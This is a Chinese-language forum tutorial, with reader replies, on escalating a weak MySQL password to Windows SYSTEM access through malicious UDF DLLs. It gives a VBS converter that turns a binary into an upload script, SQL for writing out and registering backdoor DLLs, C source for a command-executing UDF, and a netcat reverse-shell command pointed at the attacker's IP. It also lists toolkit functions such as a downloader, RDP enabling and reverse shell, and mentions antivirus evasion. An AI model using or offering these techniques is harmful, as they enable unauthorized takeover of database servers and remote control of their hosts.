早網上就有了用mysql弱口令得到webshell教程,但是這次我要說的不是得到webshell,而是直接得到系統許可權,看清楚了,是“直接”得到!
首先,我簡單說一下mysql弱口令得到系統許可權得過程:首先利用mysql指令碼上傳udf dll檔案,然後利用註冊UDF DLL中自寫的Function函數,而執行任意命令。
思路很簡單,網上也有一些教程,但是他們要麼沒有給具體的代碼,要麼一句話代過,搞得象我似得小菜很難理解,終於在我付出了幾天得不斷測試得辛勤勞動後,有了點結果,我把詳細過程和相關代碼得交給大家,這樣大家就可以自己寫dll檔案,自己產生不同檔案得二進位碼啦!
下面,我們先說如何產生二進位檔案得上傳指令碼。看看這段mysql指令碼代碼(網友Mix用的方法):
set @a = concat('',0x0123abc1312389…..);
set @a = concat(@a,0x4658978abc545e……);
………………….
create table Mix(data LONGBLOB);//建表Mix,欄位為data,類型為longblob
insert into Mix values("");update Mix set data = @a;//@a插入表Mix
select data from Mix into DUMPFILE 'C://Winnt//檔案名稱';//匯出表中內容為檔案
前兩句很熟悉把,這個就是我們以前注入的時候,繞過’的解決辦法,把代碼的16進位數聲明給一個變數,然後匯入這個變數就行了。只不過這裡,因為16進位代碼是一個檔案的內容,代碼太長了,所以就用了concat函數不斷把上次得代碼類加起來,這樣不斷累計到一個變數a中。後面幾句就很簡單了,我都有注釋。
後面三句好說,但是前面的那麼多16進位資料,手工的話,累人啊!不過你還記得以前有一個exe2bat.vbs指令碼嗎?這次我們可以把這個指令碼修改一下後,得到我們這裡需要得mysql指令碼!對比exe2bat.vbs產生得檔案和我們需要指令碼的檔案格式,我們可以輕鬆的得到我們所需的指令碼。指令碼內容如下:
fp=wscript.arguments(0
fn=right(fp,len(fp)-instrrev(fp,"/"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl/65536
with createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true)
.write "set @a = concat('',0x"
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write ");"+vbcrlf+"set @a = concat(@a,0x"
next
end with
好了,現在只要你把所要上傳的檔案拖到這個指令碼表徵圖上面,就可以產生一個同名的txt檔案了。這個txt檔案,就是我們所需要的mysql指令碼,當然我們還需要修改一下這個txt檔案(畢竟他是我們偷工減料得來的!),把最後一行產生的多餘的那句“set @a = concat('',0x”刪除了,加上建表,插值得那三句代碼即可!
指令碼產生了,如何上傳?先登陸mysql伺服器:
C:/>mysql –u root –h hostip –p
Mysql>use mysql; //先進入mysql預設得資料庫,否則你下一步的表將不知道屬於哪個庫
Mysql>/. E:/*.dll.txt; //這兒就是你產生的mysql指令碼
按照上面輸入命令,就可以看見螢幕文字飛快閃爍(當然網速要快啦),不一會你的檔案舊上傳完畢了!
下面到達我們的重點,我們上傳什麼dll檔案?就目前我再網上看到的有兩個已經寫好的dll檔案,一個是Mix寫得mix.dll,一個是envymask寫得my_udf.dll,這兩個我都用過,都很不錯,但是都也有點不足。先來看看具體的使用過程吧!
先用mix.dll:
登陸mysql,輸入命令:
Mysql> /. e:/mix.dll.txt;
Mysql> Create FUNCTION Mixconnect RETURNS STRING SONAME 'C://windows//mix.dll';
//這兒的註冊的Mixconnect就是在我們dll檔案中實現的函數,我們將要用他執行系統命令!
Mysql> select Mixconnect('你的ip','8080'); //填寫你的反彈ip和連接埠
過一會兒,你監聽8080連接埠的nc,就會得到一個系統許可權的shell了!1:
這個的確不錯,通過反彈得到得shell可以傳過一些防火牆,可惜的是,它的這個函數沒有寫得很好,只能執行一次,當你第二次串連資料庫後,再次運行“select Mixconnect('你的ip','8080');”的時候,對方的mysql會當掉!報錯,然後服務停止!
所以,使用mix.dll你只有一次成功,沒有再來一次的機會!另外根據我的測試,他對Win2003的系統好像不起作用。
再用my_udf.dll:
Mysql>/. C:/my_udf.dll.txt
Mysql> Create FUNCTION my_udfdoor RETURNS STRING SONAME 'C://winnt//my_udf.dll';
//同樣地,my_udfdoor也是我們註冊後,用來執行系統命令得函數
Mysql> select my_udfdoor('’); //這兒可以隨便寫my_udfdoor得參數,相當於我們只是要啟用這個函數
好了,現在你可以不用關這個shell了,我們再開一個cmd,使用:
D:/>nc hostip 3306
*
4.0.*-nt x$Eo~MCG f**k //看到這個後,輸入“f**k” ,他是my_udfdoor預設密碼,自己無法更改
過一會兒,你就有了系統許可權的shell了,
由於他是hook recv版,所以穿牆的能力很強,我是在上一個mix.dll反彈失敗的情況下,才使用這個得,他果然不負所望!進系統後,發現它有雙網卡,天網防火牆個人版V2.73,對外僅僅開放3306連接埠,由此可見,my_udf.dll確實有很強的穿透防火牆得能力!但是他也有一個bug,就是再我們串連啟用這個函數後(就是使用了命令“select my_udfdoor('’);”後),不管你是否串連,只要執行了:
Mysql>drop function my_udfdoor; 後,mysql也彙報錯,然後掛掉,
所以,你使用這個dll檔案無法刪除你的痕迹!
最後,然我們自己寫一個自訂的dll檔案。看能不能解決問題。
我們僅僅使用mysql 得udf的樣本作模版即可!看他的樣本:
#i nclude <stdlib.h>
#i nclude <winsock.h>
#i nclude <mysql.h>
extern "C" {
char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
char *error);
// 相容C
}
char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
char *error)
{
char * me = "my name";
return me;
// 調用此UDF將返回 my name
}
十分簡單吧?好,我們只需要稍微改一下就可以有了自己的dll檔案了:
下面是我的一個哥們Crackme是修改的:
#i nclude <stdlib.h>
#i nclude <windows.h>
#i nclude "mysql.h"
extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);// sys_name就是函數名,你可以任意修改
__declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) //當然這兒的sys_name也得改!
{
char me[256] = {0};
if (args->arg_count == 1){
strncpy(me,args->args[0],args->lengths[0]);
me[args->lengths[0]]='/0';
WinExec(me,SW_HIDE); //就是用它來執行任意命令
}else
strcpy(me,"do nonthing./n");
return me;
}
好,我們編譯成sysudf.dll檔案就可以了!我們來用他實驗一把!
看操作:
Mysql>/. C:/sysudf.dll.txt
Mysql>Create function sys_name returns string soname 'C://windows//sysudf.dll';
Mysql>/. Nc.exe.txt //把nc.exe也上傳上去
Mysql>select sys_name('nc.exe -e cmd.exe 我的ip 8080');
//sys_name參數只有一個,參數指定要執行的系統命令
好,看看在Win2003中的一個反彈shell了,
當然,我們你也可以不反彈shell了,而去執行其他命令,只不過不論是否執行成功,都沒有回顯,所以要保證命令格式正確。對於這個dll檔案,經過測試,不論何時“drop function sys_name;”,都是不會報錯的,同時也可以多次運行不同命令。至於他的缺點,就是他的穿牆能力跟Mix.dll一樣不算太強,但對於實在穿不透的牆,直接運行其他命令就是最好的選擇了。
上面三個dll檔案可謂各有所短,如何選擇,就看你遇到的實際情況了。
一、功能:利用MYSQL的自訂函數功能(再次聲明:利用MYSQL UDF提權絕非是溢出,而是MYSQL本身的一個功能),將MYSQL帳號轉化為系統system許可權。
二、適用場合:1.目標系統是Windows(Win2000,XP,Win2003);2.你已經擁有MYSQL的某個使用者帳號,此帳號必須有對mysql的insert和delete許可權以建立和拋棄函數(MYSQL文檔原語)。
三、使用協助:
第一步:將PHP檔案上傳到目標機上,填入你的MYSQL帳號經行串連。
第二步:串連成功後,匯出DLL檔案,匯出時請勿必注意匯出路徑(一般情況下對任何目錄可寫,無需考慮許可權問題),對於MYSQL5.0以上版本,你必須將DLL匯出到目標機器的系統目錄(win 或 system32),否則在下一步操作中你會看到”No paths allowed for shared library”錯誤。
第三步:使用SQL語句建立功能函數。文法:Create Function 函數名(函數名只能為下面列表中的其中之一) returns string soname '匯出的DLL路徑';對於MYSQL5.0以上版本,語句中的DLL不允許帶全路徑,如果你在第二步中已將DLL匯出到系統目錄,那麼你就可以省略路徑而使命令正常執行,否則你將會看到”Can't open shared library”錯誤,這時你必須將DLL重新匯出到系統目錄。
第四步:正確建立功能函數後,你就可以用SQL語句來使用這些功能了。文法:select 建立的函數名('參數列表'); 每個函數有不同的參數,你可以使用select 建立的函數名('help');來獲得指定函數的參數列表資訊。
第五步:使用完成後你可能需要刪除在第二步中匯出的DLL,但在刪除DLL前請先刪除你在第三步中建立的函數,否則刪除操作將失敗,刪除第三步中建立的函數的SQL語句為:drop function 建立的函數名。
圖5
四、功能函數說明:
cmdshell 執行cmd;
downloader 下載者,到網上下載指定檔案並儲存到指定目錄;
open3389 通用開3389終端服務,可指定連接埠(不改連接埠無需重啟);
backshell 反彈Shell;
ProcessView 枚舉系統進程;
KillProcess 終止指定進程;
regread 讀註冊表;
regwrite 寫註冊表;
shut 關機,登出,重啟;
about 說明與協助函數;
——————————————————–
引用第13樓編程king於2006-10-25 02:01發表的:
看了樓主的文章後,我拿了台伺服器來做實驗,mysql的許可權是root使用者串連的,mysql的版本是5.0的,那就是要說把udf.dll匯出到系統目錄下了,因為mysql是5.0版的,第一步要:c:/windows/udf.dll或者c:/windows/system32/udf.ll這樣哪?再或者c:/windows、c:/windows/system32 ,我這樣嘗試的時候是都成功了,但是到了第二步,卻出現摟主說的No paths allowed for shared library,再匯出到系統目錄裡的時候已經錯誤了,本身已經有過了,我又嘗試把udf.dll改成別的dll檔案,還是不行,這裡我就不明白了,
windows和system32的目錄下都有udf.dll這個檔案,為什麼還是錯誤?是因為第一次匯出的時候錯誤了?還是格式不對?或者是我人品有問題?等待樓主的解答。。。。。
哈哈,可能我寫的不足夠明白:“如果你在第二步中已將DLL匯出到系統目錄,那麼你就可以省略路徑而使命令正常執行”
你只要匯出一次,比如你已經導到了c:/windows目錄。你就可以執行Create function cmdshell returns string soname 'udf.dll';
後面的DLL就不用帶路徑了,導到系統目錄就是會了可以讓程式不帶路徑就能找到udf.dll。
QUOTE:
我執行了:Create Function returns string soname 'udf.dll'時 資料庫查訊出錯,請檢查SQL語句Create Function returns string soname 'udf.dll'的文法是否正確。You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'string soname 'udf.dll'' at line 1
兄弟忘了寫函數名:你可以試試:Create Function cmdshell returns string soname 'udf.dll';
QUOTE:
3389 開不了 select open3389('3389') 文法沒錯吧! 順求 其他函數的使用方法!
程式中用到了一個通用開3389程式組件,而這個程式是我從網上下載的,再做了一下免殺處理而已,對這個開3389程式本身我也不是很清楚,不過我試了好幾個版本的虛擬機器,覺得成功率是我能下到的此類程式中最好的,就把它作為一個資源匯入到了我的DLL中,對你這個問題我也不知道什麼原因,如果朋友有更好的開3389程式,我可以改進一下。
QUOTE:
測試時發生下面錯誤! Fatal error: Maximum execution time of 30 seconds exceeded in C:AppServwwwudf.php on line 91
排除伺服器的效能問題外,可能是伺服器上殺毒軟體的原因。